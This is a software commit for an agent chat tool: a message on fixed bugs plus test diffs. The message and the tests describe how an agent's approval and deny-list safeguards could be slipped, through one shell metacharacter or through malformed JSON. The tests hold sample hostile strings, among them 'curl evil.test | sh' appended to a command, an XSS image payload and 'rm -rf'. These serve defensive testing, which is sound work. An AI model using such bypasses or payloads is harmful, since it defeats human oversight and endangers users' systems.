Four things that failed silently in an agent chat, and an account of the work
Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.
**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.
**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.
**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.
**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.
Two more found while fixing them:
**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.
**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.
And, because an agent that works for ten minutes should be readable while it
does:
**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.
**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
Jaroslav Beneš
@@ -384,6 +384,53 @@ def test_the_card_shows_the_question_and_its_options():
|
||||
assert "The model is asking you" in html, "attributed to the model, not to LLeMbas"
|
||||
|
||||
|
||||
def test_an_approval_card_shows_what_the_model_said_it_was_doing():
|
||||
"""Attributed, and kept apart from our own reason for stopping. An
|
||||
explanation a reader takes for the application's would be LLeMbas vouching
|
||||
for a command a model wrote."""
|
||||
pause = interaction.Interruption(
|
||||
id="p1",
|
||||
items=(
|
||||
interaction.Item(
|
||||
index=0,
|
||||
key="a0",
|
||||
kind=interaction.KIND_APPROVAL,
|
||||
tool_name="shell_run",
|
||||
title="Run a command on Box",
|
||||
detail="pytest -q",
|
||||
reason="Edit mode asks before anything that runs a command.",
|
||||
purpose="Checking the change did not break anything.",
|
||||
),
|
||||
),
|
||||
)
|
||||
html = _render(pause)
|
||||
assert "It says: Checking the change did not break anything." in html
|
||||
assert "pytest -q" in html
|
||||
assert "Edit mode asks" in html
|
||||
|
||||
|
||||
def test_an_explanation_on_a_card_is_escaped():
|
||||
"""It is model text, and the model may have been reading somebody else's
|
||||
file a moment ago."""
|
||||
pause = interaction.Interruption(
|
||||
id="p1",
|
||||
items=(
|
||||
interaction.Item(
|
||||
index=0,
|
||||
key="a0",
|
||||
kind=interaction.KIND_APPROVAL,
|
||||
tool_name="shell_run",
|
||||
title="Run a command on Box",
|
||||
detail="ls",
|
||||
purpose="<img src=x onerror=alert(1)>",
|
||||
),
|
||||
),
|
||||
)
|
||||
html = _render(pause)
|
||||
assert "<img src=x" not in html
|
||||
assert "<img" in html
|
||||
|
||||
|
||||
def test_the_card_never_offers_a_password_field():
|
||||
"""A model talked into asking for a credential must not be handed a field
|
||||
that looks built for one."""
|
||||
|
||||
@@ -114,6 +114,41 @@ def test_the_command_is_never_in_a_quoted_context():
|
||||
assert cmd in inner, "the command was lost in the base64 round-trip"
|
||||
|
||||
|
||||
def test_every_wrapper_is_valid_shell():
|
||||
"""`sh -n` parses without executing.
|
||||
|
||||
The one that would have caught it: `{log}` for `{logf}` formatted the module
|
||||
logger into the launch-and-wait wrapper, and `<Logger … (WARNING)>` is shell
|
||||
syntax. The error landed after the sentinel, where nothing reads it, so the
|
||||
command still worked and the cleanup silently never ran.
|
||||
"""
|
||||
import subprocess
|
||||
|
||||
wrappers = [
|
||||
jobs.launch_command("chatx", "abc123abc123", "echo hi"),
|
||||
jobs.launch_and_wait_command("chatx", "abc123abc123", "echo hi", 4096),
|
||||
jobs.read_command("chatx", "abc123abc123", 4096),
|
||||
jobs.stop_command("chatx", "abc123abc123"),
|
||||
jobs.cleanup_command("chatx", "abc123abc123"),
|
||||
]
|
||||
for wrapper in wrappers:
|
||||
done = subprocess.run(
|
||||
["sh", "-n"], input=wrapper, capture_output=True, text=True, check=False
|
||||
)
|
||||
assert done.returncode == 0, f"not valid shell:\n{wrapper}\n{done.stderr}"
|
||||
|
||||
|
||||
def test_launch_and_wait_removes_every_file_it_made():
|
||||
"""Its last line is the only cleanup on the fast path -- nothing calls
|
||||
`_cleanup` when a command finishes in time."""
|
||||
wrapper = jobs.launch_and_wait_command("chatx", "abc123abc123", "echo hi", 4096)
|
||||
removal = next(line for line in wrapper.splitlines() if line.startswith("rm -f"))
|
||||
|
||||
for extension in ("sh", "pid", "log", "exit"):
|
||||
assert jobs._file("chatx", "abc123abc123", extension) in removal, extension
|
||||
assert "<Logger" not in wrapper
|
||||
|
||||
|
||||
def test_parse_reads_the_last_sentinel():
|
||||
out = ("line one\n__LEMBAS_jobjobjob01__:0\nmore\n__LEMBAS_jobjobjob01__:0")
|
||||
done = jobs.parse_completed(out, "jobjobjob01")
|
||||
@@ -136,6 +171,27 @@ async def test_a_fast_command_completes_like_a_foreground_one(tmp_path):
|
||||
assert not jobs.for_chat(agent.chat_id), "a finished command is not a job"
|
||||
|
||||
|
||||
async def test_a_fast_command_leaves_nothing_behind(tmp_path):
|
||||
"""With background on, *every* command goes through the wrapper, so a
|
||||
cleanup that does not run is four files per command on somebody's machine --
|
||||
including the log, which holds everything the command printed."""
|
||||
import os
|
||||
import pathlib
|
||||
import uuid
|
||||
|
||||
# Its own chat id, so the directory is exclusively this run's. Job files are
|
||||
# namespaced by chat, so that is isolation by construction rather than by
|
||||
# tidying up after a previous run -- which is what a shared id would need,
|
||||
# and would quietly pass the moment the tidying broke.
|
||||
chat_id = uuid.uuid4().hex[:12]
|
||||
agent = _agent(tmp_path, chat_id=chat_id)
|
||||
await _run_shell(_context(agent), {"command": "echo hello"})
|
||||
|
||||
root = pathlib.Path(os.environ.get("TMPDIR", "/tmp")) / "lembas-jobs" / chat_id
|
||||
left = sorted(p.name for p in root.iterdir()) if root.exists() else []
|
||||
assert left == [], f"left behind: {left}"
|
||||
|
||||
|
||||
async def test_a_nonzero_exit_is_read_from_the_exit_file_not_the_wrapper(tmp_path):
|
||||
"""The wrapper's own status is ~0 from its trailing rm; the command's real
|
||||
status is in the exit-file."""
|
||||
|
||||
@@ -144,9 +144,7 @@ def test_a_plain_command_still_matches_a_glob():
|
||||
assert decision.verdict == ALLOW, "whitespace is normalised before matching"
|
||||
|
||||
|
||||
def test_a_composed_command_still_matches_a_deny_list():
|
||||
"""The metacharacter rule protects the allow list only. Failing open on a
|
||||
deny returns you to the mode; failing open on an allow runs the command."""
|
||||
def test_a_plain_command_still_matches_a_deny_list():
|
||||
decision = decide(
|
||||
mode=policy.MODE_AUTO,
|
||||
risk=RISK_EXECUTE,
|
||||
@@ -157,6 +155,51 @@ def test_a_composed_command_still_matches_a_deny_list():
|
||||
assert decision.verdict == ASK
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"command",
|
||||
[
|
||||
"shutdown -h now &",
|
||||
"reboot; echo x",
|
||||
"true && shutdown -h now",
|
||||
"shutdown -h now > /dev/null",
|
||||
"echo x\nreboot",
|
||||
"$(shutdown -h now)",
|
||||
],
|
||||
)
|
||||
def test_a_composed_command_cannot_slip_past_a_deny_list(command):
|
||||
"""One character used to be the whole of the difference.
|
||||
|
||||
`subject` returns None for anything carrying a metacharacter, so no pattern
|
||||
could match it -- and the original reasoning said that was safe for a deny
|
||||
list because it "returns you to the mode". True in Manual, Edit and Plan.
|
||||
In Auto the mode is ALLOW, so `shutdown -h now` asked and
|
||||
`shutdown -h now &` ran.
|
||||
"""
|
||||
decision = decide(
|
||||
mode=policy.MODE_AUTO,
|
||||
risk=RISK_EXECUTE,
|
||||
tool_name="shell_run",
|
||||
command=command,
|
||||
deny=("shutdown *", "reboot *"),
|
||||
)
|
||||
assert decision.verdict == ASK, command
|
||||
|
||||
|
||||
def test_a_composed_command_is_still_fine_when_nothing_is_denied():
|
||||
"""The rule above is scoped to there being a deny list at all.
|
||||
|
||||
Otherwise Auto would ask about `cd build && make`, which is most real
|
||||
commands, and the mode whose whole purpose is not asking would ask.
|
||||
"""
|
||||
decision = decide(
|
||||
mode=policy.MODE_AUTO,
|
||||
risk=RISK_EXECUTE,
|
||||
tool_name="shell_run",
|
||||
command="cd build && make",
|
||||
)
|
||||
assert decision.verdict == ALLOW
|
||||
|
||||
|
||||
def test_subject_refuses_to_produce_a_matchable_line_for_composed_commands():
|
||||
assert policy.subject("shell_run", "ls -la") == "ls -la"
|
||||
assert policy.subject("shell_run", "ls; rm") is None
|
||||
|
||||
@@ -12,6 +12,7 @@ import json as _json
|
||||
import time
|
||||
|
||||
import pytest
|
||||
from sqlalchemy import select
|
||||
|
||||
from lembas.db.models import (
|
||||
KIND_AGENT,
|
||||
@@ -28,6 +29,7 @@ from lembas.services import interaction, settings_store
|
||||
from lembas.services import tools as tools_service
|
||||
from lembas.services.agent import policy, session
|
||||
from lembas.services.agent import ssh as ssh_service
|
||||
from lembas.services.tools import RISK_EXECUTE
|
||||
|
||||
asyncssh = pytest.importorskip("asyncssh")
|
||||
|
||||
@@ -539,6 +541,143 @@ async def test_a_command_waits_for_approval_and_the_card_shows_it(
|
||||
await task
|
||||
|
||||
|
||||
async def test_malformed_arguments_still_show_the_command_that_will_run(
|
||||
db, user_id, machine, monkeypatch
|
||||
):
|
||||
"""The card and the runner read the same parsed arguments.
|
||||
|
||||
They used to disagree: the card did a plain `json.loads` and showed `{}` on
|
||||
failure, while `run_tool` put the raw string into the tool's first required
|
||||
parameter -- `command` -- and ran it. So a model emitting invalid JSON got a
|
||||
card headed "Run a command" with an empty body, and Allow ran something the
|
||||
reader was never shown.
|
||||
"""
|
||||
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_MANUAL)
|
||||
message_id = _pending_reply(db, chat)
|
||||
monkeypatch.setattr(
|
||||
generation_service,
|
||||
"stream_chat",
|
||||
_stub_stream([[_chunk("shell_run", "rm -rf /tmp/x")], [_text("Done.")]], []),
|
||||
)
|
||||
|
||||
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
||||
task = asyncio.create_task(generation_service._run(generation))
|
||||
pending = await _until_paused(generation)
|
||||
|
||||
assert pending.items[0].detail == "rm -rf /tmp/x"
|
||||
|
||||
pending.resolve(interaction.DENY)
|
||||
await task
|
||||
|
||||
|
||||
async def test_the_card_carries_what_the_model_said_it_was_doing(
|
||||
db, user_id, machine, monkeypatch
|
||||
):
|
||||
"""`why` is the model's account; `reason` is ours. Both, and kept apart."""
|
||||
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_MANUAL)
|
||||
message_id = _pending_reply(db, chat)
|
||||
monkeypatch.setattr(
|
||||
generation_service,
|
||||
"stream_chat",
|
||||
_stub_stream(
|
||||
[
|
||||
[
|
||||
_chunk(
|
||||
"shell_run",
|
||||
'{"command": "pytest -q", "why": "Checking the change did not '
|
||||
'break anything."}',
|
||||
)
|
||||
],
|
||||
[_text("Done.")],
|
||||
],
|
||||
[],
|
||||
),
|
||||
)
|
||||
|
||||
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
||||
task = asyncio.create_task(generation_service._run(generation))
|
||||
pending = await _until_paused(generation)
|
||||
|
||||
item = pending.items[0]
|
||||
assert item.purpose == "Checking the change did not break anything."
|
||||
assert item.detail == "pytest -q", "the command is still the thing being agreed to"
|
||||
assert "Manual" in item.reason, "our reason for stopping is separate from theirs"
|
||||
|
||||
pending.resolve(interaction.DENY)
|
||||
await task
|
||||
|
||||
|
||||
async def test_the_transcript_keeps_the_explanation(db, user_id, machine, monkeypatch):
|
||||
"""Auto mode stops for nothing, so the event is the only place a reader ever
|
||||
sees what a command was for."""
|
||||
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
||||
message_id = _pending_reply(db, chat)
|
||||
monkeypatch.setattr(
|
||||
generation_service,
|
||||
"stream_chat",
|
||||
_stub_stream(
|
||||
[
|
||||
[_chunk("shell_run", '{"command": "ls", "why": "Seeing what is here."}')],
|
||||
[_text("Done.")],
|
||||
],
|
||||
[],
|
||||
),
|
||||
)
|
||||
|
||||
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
||||
await generation_service._run(generation)
|
||||
|
||||
assert generation.tool_events[0]["why"] == "Seeing what is here."
|
||||
|
||||
|
||||
async def test_a_call_without_an_explanation_carries_no_empty_one(
|
||||
db, user_id, machine, monkeypatch
|
||||
):
|
||||
"""Absent stays absent. An empty string on every event would render a blank
|
||||
second line under every command in the transcript."""
|
||||
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
||||
message_id = _pending_reply(db, chat)
|
||||
monkeypatch.setattr(
|
||||
generation_service,
|
||||
"stream_chat",
|
||||
_stub_stream([[_chunk("shell_run", '{"command": "ls"}')], [_text("Done.")]], []),
|
||||
)
|
||||
|
||||
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
||||
await generation_service._run(generation)
|
||||
|
||||
assert "why" not in generation.tool_events[0]
|
||||
|
||||
|
||||
async def test_malformed_arguments_are_still_checked_against_the_deny_list(
|
||||
db, user_id, machine, monkeypatch
|
||||
):
|
||||
"""The consequence of the above, in the mode where it matters.
|
||||
|
||||
In Auto nothing is shown first, so a command the card could not describe was
|
||||
also a command `policy.decide` was handed as "" -- matching neither list and
|
||||
falling through to the mode, which is ALLOW. Invalid JSON was a way past the
|
||||
deny list.
|
||||
"""
|
||||
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
||||
settings_store.update(db, {"deny_default": ["rm *"]}, key=settings_store.AGENTS)
|
||||
message_id = _pending_reply(db, chat)
|
||||
monkeypatch.setattr(
|
||||
generation_service,
|
||||
"stream_chat",
|
||||
_stub_stream([[_chunk("shell_run", "rm -rf /tmp/x")], [_text("Done.")]], []),
|
||||
)
|
||||
|
||||
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
||||
task = asyncio.create_task(generation_service._run(generation))
|
||||
pending = await _until_paused(generation)
|
||||
|
||||
assert "rm *" in pending.items[0].reason
|
||||
|
||||
pending.resolve(interaction.DENY)
|
||||
await task
|
||||
|
||||
|
||||
async def test_denying_reaches_the_model_as_words_and_runs_nothing(
|
||||
db, user_id, machine, monkeypatch, tmp_path
|
||||
):
|
||||
@@ -618,6 +757,135 @@ async def test_auto_mode_never_pauses(db, user_id, machine, monkeypatch, tmp_pat
|
||||
assert (tmp_path / "project" / "auto.txt").read_text() == "no asking"
|
||||
|
||||
|
||||
# --- "Always allow this" ---------------------------------------------------------
|
||||
# Answered over the TestClient against a pause registered by hand, rather than by
|
||||
# running a generation: a future belongs to the loop that made it and TestClient
|
||||
# runs the app on its own, which is the same reason
|
||||
# `test_another_account_cannot_answer_your_question` builds its pause this way.
|
||||
# The route reads the items *before* resolving, which is the half being tested.
|
||||
def _approval_pause(chat, message_id, *, tool_name="shell_run", detail="git status"):
|
||||
pause = interaction.Interruption(
|
||||
id="pause-always",
|
||||
items=(
|
||||
interaction.Item(
|
||||
index=0,
|
||||
key="a0",
|
||||
kind=interaction.KIND_APPROVAL,
|
||||
tool_name=tool_name,
|
||||
title=f"Run a command on {chat.title or 'Box'}",
|
||||
detail=detail,
|
||||
),
|
||||
),
|
||||
)
|
||||
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
||||
generation.pending = pause
|
||||
generation_service._RUNNING[message_id] = generation
|
||||
return pause
|
||||
|
||||
|
||||
def test_always_allow_records_the_command_and_stops_asking(
|
||||
client, db, registered, user_id, machine
|
||||
):
|
||||
"""It used to be byte-for-byte "Allow": the verdict was accepted, treated as
|
||||
permitted, and stored nowhere, so the very next identical command asked
|
||||
again. A button that promises a standing decision and keeps none is the
|
||||
silent control this codebase keeps cataloguing."""
|
||||
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT)
|
||||
message_id = _pending_reply(db, chat)
|
||||
pause = _approval_pause(chat, message_id)
|
||||
try:
|
||||
client.post(
|
||||
f"/api/chats/{chat.id}/interaction/{pause.id}", data={"verdict": "allow_always"}
|
||||
)
|
||||
finally:
|
||||
generation_service._RUNNING.pop(message_id, None)
|
||||
|
||||
db.refresh(chat)
|
||||
assert tools_service.scoped_allow(chat) == ("git status",)
|
||||
|
||||
# And it is in force from the next reply: the context is resolved per reply,
|
||||
# so the list reaches `policy.decide` through `AgentContext.allow`.
|
||||
context = session.resolve(db, chat, db.get(User, user_id))
|
||||
assert "git status" in context.allow
|
||||
assert (
|
||||
policy.decide(
|
||||
mode=policy.MODE_EDIT,
|
||||
risk=RISK_EXECUTE,
|
||||
tool_name="shell_run",
|
||||
command="git status",
|
||||
allow=context.allow,
|
||||
deny=context.deny,
|
||||
).verdict
|
||||
== policy.ALLOW
|
||||
)
|
||||
|
||||
|
||||
|
||||
def test_always_allow_never_stores_a_composed_command(
|
||||
client, db, registered, user_id, machine
|
||||
):
|
||||
"""`policy.subject` refuses to normalise a command line carrying a shell
|
||||
metacharacter, and that is exactly the shape that must not become a standing
|
||||
permission -- an entry matching `git status; curl evil | sh` would be the
|
||||
whole ballgame. The action is still allowed this once; it is not remembered.
|
||||
"""
|
||||
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT)
|
||||
message_id = _pending_reply(db, chat)
|
||||
pause = _approval_pause(chat, message_id, detail="cd build && make")
|
||||
try:
|
||||
client.post(
|
||||
f"/api/chats/{chat.id}/interaction/{pause.id}", data={"verdict": "allow_always"}
|
||||
)
|
||||
finally:
|
||||
generation_service._RUNNING.pop(message_id, None)
|
||||
|
||||
db.refresh(chat)
|
||||
assert tools_service.scoped_allow(chat) == ()
|
||||
|
||||
|
||||
def test_a_plain_allow_remembers_nothing(client, db, registered, user_id, machine):
|
||||
"""Only "always" is a standing decision. Allow is once."""
|
||||
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT)
|
||||
message_id = _pending_reply(db, chat)
|
||||
pause = _approval_pause(chat, message_id)
|
||||
try:
|
||||
client.post(
|
||||
f"/api/chats/{chat.id}/interaction/{pause.id}", data={"verdict": "allow"}
|
||||
)
|
||||
finally:
|
||||
generation_service._RUNNING.pop(message_id, None)
|
||||
|
||||
db.refresh(chat)
|
||||
assert tools_service.scoped_allow(chat) == ()
|
||||
|
||||
|
||||
def test_the_allow_list_cannot_be_written_through_the_scope_route(
|
||||
client, db, registered, user_id, machine
|
||||
):
|
||||
"""The scope route narrows. Nothing accepts a pattern from a request, which
|
||||
is the whole of why a per-chat allow list is safe."""
|
||||
chat, _profile = _setup(db, user_id, machine)
|
||||
client.post(
|
||||
f"/api/chats/{chat.id}/scope", data={"kind": "allow", "name": "rm *", "on": "false"}
|
||||
)
|
||||
|
||||
db.refresh(chat)
|
||||
assert tools_service.scoped_allow(chat) == ()
|
||||
|
||||
|
||||
def test_clearing_the_allow_list_empties_it(client, db, registered, user_id, machine):
|
||||
chat, _profile = _setup(db, user_id, machine)
|
||||
chat.scope_json = {"allow": ["git status", "file_read"]}
|
||||
db.commit()
|
||||
|
||||
response = client.post(f"/api/chats/{chat.id}/allow/clear")
|
||||
|
||||
assert response.status_code == 200
|
||||
assert response.text == "", "the row has to disappear; htmx does not swap on a 204"
|
||||
db.refresh(chat)
|
||||
assert tools_service.scoped_allow(chat) == ()
|
||||
|
||||
|
||||
async def test_the_credential_is_cleared_when_the_reply_ends(db, user_id, machine, monkeypatch):
|
||||
"""A finished Generation lingers five minutes so late followers get the
|
||||
final frames. A private key should not linger with it."""
|
||||
@@ -685,6 +953,39 @@ async def test_an_ordinary_chat_is_told_none_of_it(db, user_id, machine):
|
||||
assert "fresh shell" not in text
|
||||
|
||||
|
||||
async def test_an_agent_chat_is_told_to_work_to_an_objective_and_out_loud(
|
||||
db, user_id, machine
|
||||
):
|
||||
"""The two halves of not drifting: name what you are doing, and say what you
|
||||
are finding while you do it rather than only at the end."""
|
||||
from lembas.services import harness
|
||||
|
||||
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT)
|
||||
user = db.get(User, user_id)
|
||||
offered = tools_service.resolve_tools(db, chat, user).schemas
|
||||
text = harness.compose(db, user, offered, chat)
|
||||
|
||||
assert "Settle what you are setting out to achieve" in text
|
||||
assert "Work out loud" in text
|
||||
# And the tool argument that carries the same account per call.
|
||||
assert "`why`" in text
|
||||
|
||||
|
||||
async def test_an_ordinary_chat_is_not_asked_to_narrate(db, user_id, machine):
|
||||
"""Both are agent-only. In front of a two-line answer, stating an objective
|
||||
and announcing each tool call is preamble -- and `core.tools_preamble` says
|
||||
the opposite for exactly that reason."""
|
||||
from lembas.services import harness
|
||||
|
||||
chat, _profile = _setup(db, user_id, machine, kind="chat")
|
||||
user = db.get(User, user_id)
|
||||
offered = tools_service.resolve_tools(db, chat, user).schemas
|
||||
text = harness.compose(db, user, offered, chat)
|
||||
|
||||
assert "Work out loud" not in text
|
||||
assert "Settle what you are setting out to achieve" not in text
|
||||
|
||||
|
||||
async def test_an_agent_chat_is_told_its_real_round_budget(db, user_id, machine):
|
||||
"""MAX_ROUNDS is one. An agent chat gets hundreds, and telling it one would
|
||||
be a false fact about its own budget on every turn."""
|
||||
@@ -824,6 +1125,96 @@ async def test_a_zero_ceiling_means_no_ceiling(db, user_id, machine, monkeypatch
|
||||
|
||||
|
||||
# --- Interjecting while it works --------------------------------------------------
|
||||
async def test_a_reply_stops_when_the_window_has_no_room_left(
|
||||
db, user_id, machine, monkeypatch
|
||||
):
|
||||
"""The request grows by an assistant turn and a tool turn every round, and
|
||||
nothing was watching it: `_maybe_compact` runs once, before the first round.
|
||||
The other guard, `max_total_output_bytes`, is a megabyte by default -- about
|
||||
260k tokens, larger than the window of nearly every model this talks to -- so
|
||||
a long agent reply grew its own request until the endpoint refused it, and
|
||||
the reader got an upstream error rather than an explanation."""
|
||||
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
||||
model = db.scalars(select(Model).where(Model.model_id == chat.model_id)).first()
|
||||
model.context_length = 2000
|
||||
db.commit()
|
||||
|
||||
message_id = _pending_reply(db, chat)
|
||||
# A command whose output is large enough that two rounds fill the window.
|
||||
monkeypatch.setattr(
|
||||
generation_service,
|
||||
"stream_chat",
|
||||
_stub_stream(
|
||||
[[_chunk("shell_run", '{"command": "printf \'%s\' ' + "'" + "x" * 3000 + "'\"}")]],
|
||||
[],
|
||||
),
|
||||
)
|
||||
|
||||
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
||||
await asyncio.wait_for(generation_service._run(generation), timeout=20)
|
||||
|
||||
budget_events = [e for e in generation.tool_events if e.get("name") == "budget"]
|
||||
assert budget_events, "it should stop with an explanation, not run to the step cap"
|
||||
assert "context window" in budget_events[0]["error"]
|
||||
|
||||
|
||||
async def test_the_estimate_follows_the_request_round_by_round(
|
||||
db, user_id, machine, monkeypatch
|
||||
):
|
||||
"""It was taken once, before the first round, so on any endpoint that sends
|
||||
no usage block the reported prompt was the first round's forever."""
|
||||
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
||||
message_id = _pending_reply(db, chat)
|
||||
monkeypatch.setattr(
|
||||
generation_service,
|
||||
"stream_chat",
|
||||
_stub_stream(
|
||||
[
|
||||
[_chunk("shell_run", '{"command": "echo one"}', call_id="c1")],
|
||||
[_chunk("shell_run", '{"command": "echo two"}', call_id="c2")],
|
||||
[_text("Done.")],
|
||||
],
|
||||
[],
|
||||
),
|
||||
)
|
||||
|
||||
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
||||
await asyncio.wait_for(generation_service._run(generation), timeout=20)
|
||||
|
||||
assert generation.rounds == 3
|
||||
# Summed across rounds, so it exceeds any single round's prompt.
|
||||
assert generation.prompt_estimate_total > generation.prompt_estimate
|
||||
# And what the reply occupies is the last round's prompt, not the total.
|
||||
assert generation.context_tokens < generation.prompt_estimate_total
|
||||
|
||||
|
||||
async def test_an_unknown_window_never_stops_a_reply(db, user_id, machine, monkeypatch):
|
||||
"""`context_length` of 0 is unknown, not small -- the rule the context
|
||||
percentage and automatic compaction already follow."""
|
||||
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
||||
model = db.scalars(select(Model).where(Model.model_id == chat.model_id)).first()
|
||||
model.context_length = 0
|
||||
db.commit()
|
||||
|
||||
message_id = _pending_reply(db, chat)
|
||||
monkeypatch.setattr(
|
||||
generation_service,
|
||||
"stream_chat",
|
||||
_stub_stream(
|
||||
[
|
||||
[_chunk("shell_run", '{"command": "printf \'%s\' ' + "'" + "x" * 3000 + "'\"}")],
|
||||
[_text("Done.")],
|
||||
],
|
||||
[],
|
||||
),
|
||||
)
|
||||
|
||||
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
||||
await asyncio.wait_for(generation_service._run(generation), timeout=20)
|
||||
|
||||
assert not [e for e in generation.tool_events if e.get("name") == "budget"]
|
||||
|
||||
|
||||
async def test_a_queued_prompt_is_taken_in_between_rounds(db, user_id, machine, monkeypatch):
|
||||
"""The point of queueing in an agent chat: steering work already under way.
|
||||
|
||||
|
||||
@@ -432,3 +432,48 @@ def test_the_background_guidance_appears_only_when_enabled(db, owner):
|
||||
|
||||
settings_store.update(db, {"background_enabled": True}, key=settings_store.AGENTS)
|
||||
assert "run in the background" in _text()
|
||||
|
||||
|
||||
# --- The ceiling has to fit what the defaults already grant --------------------
|
||||
def test_the_shipped_defaults_fit_under_the_ceiling(db, owner):
|
||||
"""An agent chat's whole preamble, at the budgets this ships with.
|
||||
|
||||
It did not fit. The fragments alone are about 7,900 characters, and on top
|
||||
of them `index_chars` grants a 2,000 character project listing and
|
||||
`instructions_chars` a 4,000 character AGENTS.md -- both on by default. The
|
||||
ceiling was 8,000, and `assemble` cuts the tail, which by fragment order is
|
||||
the context worth having: the listing was severed mid-tree and
|
||||
`context.agent_instructions` was dropped whole. So on a default install the
|
||||
one path by which a project's own instructions reach a model did not.
|
||||
"""
|
||||
values = settings_store.agents(db)
|
||||
# Every name the harness knows about, so a variable added later is covered
|
||||
# here without anybody remembering to add it.
|
||||
variables = dict.fromkeys(harness.context_variables(db, owner, [], None), "")
|
||||
variables.update(
|
||||
{
|
||||
"today": "Monday 3 August 2026",
|
||||
"instance_name": "LLeMbas",
|
||||
"user_name": "Frodo",
|
||||
"agent_target": "homeserver",
|
||||
"agent_dir": "/srv/project",
|
||||
"agent_mode": "You are in **Edit** mode.",
|
||||
"tool_names": "shell_run, file_read, file_write, file_edit, file_list",
|
||||
"background": "on",
|
||||
"max_rounds": "200",
|
||||
# Each at exactly the budget its own setting allows.
|
||||
"project_files": "L" * int(values["index_chars"]),
|
||||
"agent_instructions": "A" * int(values["instructions_chars"]),
|
||||
"agent_instructions_file": "AGENTS.md",
|
||||
"plan": "P" * 600,
|
||||
"memories": "M" * 400,
|
||||
}
|
||||
)
|
||||
|
||||
out = harness.compose_from(
|
||||
db, variables=variables, families=["agent"], has_tools=True, overrides={}
|
||||
)
|
||||
|
||||
assert not out.endswith("…"), f"the preamble was truncated at {len(out):,} characters"
|
||||
assert "A" * 100 in out, "the project's own instructions were cut off entirely"
|
||||
assert "L" * 100 in out, "the project listing was cut off"
|
||||
|
||||
+10
-3
@@ -13,15 +13,22 @@ def extra_source():
|
||||
|
||||
The registry is module state, so a test that adds to it and does not clean up
|
||||
leaks into every test after it.
|
||||
|
||||
Restored to **what was there**, not to `[_builtin_source]`. Resetting to the
|
||||
builtin alone also threw away `services/tools.py:_row_source`, registered at
|
||||
import -- so after the first test using this fixture, no custom tool or MCP
|
||||
server contributed a fragment for the rest of the process, and
|
||||
`test_a_custom_tools_guidance_appears_only_when_it_is_offered` passed or
|
||||
failed on file ordering alone. A teardown that quietly removes production
|
||||
wiring is worse than no teardown, because the suite still goes green.
|
||||
"""
|
||||
added: list = []
|
||||
before = list(prompts._SOURCES)
|
||||
|
||||
def install(*fragments: prompts.Fragment):
|
||||
added.extend(fragments)
|
||||
prompts.register_source(lambda db: fragments)
|
||||
|
||||
yield install
|
||||
prompts._SOURCES[:] = [prompts._builtin_source]
|
||||
prompts._SOURCES[:] = before
|
||||
|
||||
|
||||
# --- Substitution ------------------------------------------------------------
|
||||
|
||||
@@ -249,3 +249,44 @@ def test_a_diff_line_is_escaped():
|
||||
def test_an_event_with_no_diff_renders_none():
|
||||
